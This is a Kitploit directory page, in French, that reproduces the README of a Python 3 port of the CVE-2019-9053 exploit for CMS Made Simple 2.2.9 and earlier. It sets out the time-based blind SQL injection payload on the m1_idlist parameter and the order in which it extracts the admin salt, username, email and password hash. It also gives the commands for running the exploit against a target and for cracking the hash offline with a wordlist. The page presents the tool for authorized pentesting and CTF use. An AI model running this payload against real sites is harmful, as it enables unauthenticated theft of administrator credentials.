Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-9053-py3 — Exploitation d'injection SQL aveugle basée sur le temps non authentifiée pour CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portée en Python 3. | Kitploit
Outils/GitHubGitHub/vedantrana73/cve-2019-9053-py3
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubvedantrana73/cve-2019-9053-py3

cve-2019-9053-py3

Exploitation d'injection SQL aveugle basée sur le temps non authentifiée pour CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portée en Python 3.

Voir le dépôt
34il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-9053 — Exploit SQLi CMS Made Simple (Python 3)

Python CVE Type Target License

Avertissement : Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. L'utiliser contre des systèmes sans autorisation écrite explicite est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.


Aperçu

Il s'agit d'un portage en Python 3 de l'exploit public pour CVE-2019-9053 — une vulnérabilité non authentifiée d'injection SQL aveugle basée sur le temps dans CMS Made Simple ≤ 2.2.9.

Le paramètre vulnérable est m1_idlist sur le point de terminaison /moduleinterface.php (module News). L'entrée utilisateur est transmise sans échappement dans une requête SQL, permettant à un attaquant non authentifié d'extraire le sel admin, le nom d'utilisateur, l'email et le hash du mot de passe — et éventuellement de casser le mot de passe hors ligne.

Exploit original par Daniele Scanu @ Certimeter Group.
Portage en Python 3 avec corrections et nettoyage.


Fonctionnement

L'exploit utilise un oracle temporel — il injecte SELECT sleep(T) dans une condition SQL LIKE et mesure le temps de réponse HTTP. Si le serveur bloque pendant ≥ T secondes, la condition injectée était vraie. Cela permet d'extraire les données un caractère à la fois sans qu'aucune donnée n'apparaisse jamais dans le corps de la réponse HTTP.

Payload structure:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(known_prefix+guess)}25
            +and+user_id+like+0x31)+--+

Ordre d'extraction :

ÉtapeChampTableRemarques
1Selcms_siteprefsRequis pour casser le mot de passe
2Nom d'utilisateurcms_usersuser_id = 1 (admin)
3Emailcms_usersuser_id = 1 (admin)
4Mot de passecms_usersStocké sous forme MD5(sel + mot de passe)

Après extraction, une attaque par dictionnaire hors ligne facultative calcule MD5(sel + mot) à partir d'une liste de mots — aucune autre requête réseau nécessaire.


Changements pour Python 3

Le script original était écrit pour Python 2. Les changements cassants suivants ont été corrigés :

#ChangementRaison
1print "..." → print("...")print est une fonction en Python 3
2hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode())hashlib.md5() nécessite bytes en Python 3
3dict = open(wordlist) → with open(wordlist) as wordlist_filedict masque une fonction intégrée ; passage au gestionnaire de contexte
4print "\033c" → print("\033c", end="")Évite un double saut de ligne lors de l'effacement du terminal
5print colored(...) → print(colored(...))colored() renvoie une chaîne ; nécessite un wrapper print()

Prérequis

pip3 install requests termcolor
DépendanceObjectif
requestsRequêtes HTTP vers la cible
termcolorSortie terminal colorée

Utilisation

# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple

# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

Options

OptionDescription
-u, --urlURL de base de l'installation de CMS Made Simple
-w, --wordlistChemin vers une liste de mots pour le cassage de mot de passe hors ligne
-c, --crackActiver le mode de cassage de mot de passe

Exemple de sortie

[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

Détails du CVE

ChampValeur
CVE IDCVE-2019-9053
Score CVSS7.5 (Élevé)
TypeInjection SQL aveugle basée sur le temps non authentifiée
AffecteCMS Made Simple ≤ 2.2.9
Paramètrem1_idlist dans le module News
Authentification nécessaireAucune
CorrectifCMS Made Simple 2.2.10+

Références

  • NVD — CVE-2019-9053
  • Exploit original — Exploit-DB #46635
  • CMS Made Simple

Légal

Cet exploit est fourni uniquement pour les tests de pénétration autorisés et les CTF/à des fins éducatives.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test est une infraction pénale en vertu de l'IT Act, 2000 (Inde) et des lois équivalentes dans le monde.

Télécharger l’outil